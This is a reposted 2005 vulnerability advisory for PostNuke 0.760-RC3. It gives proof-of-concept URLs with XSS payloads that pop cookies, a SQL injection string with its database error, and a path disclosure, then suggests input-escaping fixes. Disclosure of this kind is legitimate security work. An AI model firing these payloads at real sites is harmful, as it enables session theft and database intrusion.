[转载]PostNuke 0.760-R目录泄露及跨站脚本漏洞

  文章作者：Hsc Security Group

Dcrab 's Security Advisory
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Severity: Medium
Title: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: 08/04/2005

Vendor: PostNuke
Vendor Website: http://www.postnuke.com
Summary: There are, sql injection, xss and path disclosure vulnerabilities in postnuke
0.760-rc3.


Proof of Concept Exploits:

http://localhost/admin.php?module="><script>alert(document.cookie)</script>&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie


http://localhost/modules.php?op= ... le=article&sid=&#39;SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480
SQL INJECTION (look wayyy on the bottom of the page)

DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual
that corresponds to your MySQL server version for
the right syntax to use near &#39;\&#39;SQL_INJECTION&#39; at line 23


http://localhost/modules.php?op= ... showcontent&id=&#39;&POSTNUKESID=355776cfb622466924a7096d4471a480
Server Path disclosure

Fatal error: Call to a member function on a non-object in /home/httpd/vhosts/localhost/httpdocs/modules/Reviews/index.php
on line 976


http://localhost/user.php?op="><script>alert(document.cookie)</script>&module=NS-
NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string()
and other functions for input
validation before passing user input to the mysql database, or before echoing data
on the screen, would solve these problems.

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Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com,
please feel
free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com
or http://digitalparadox.org/.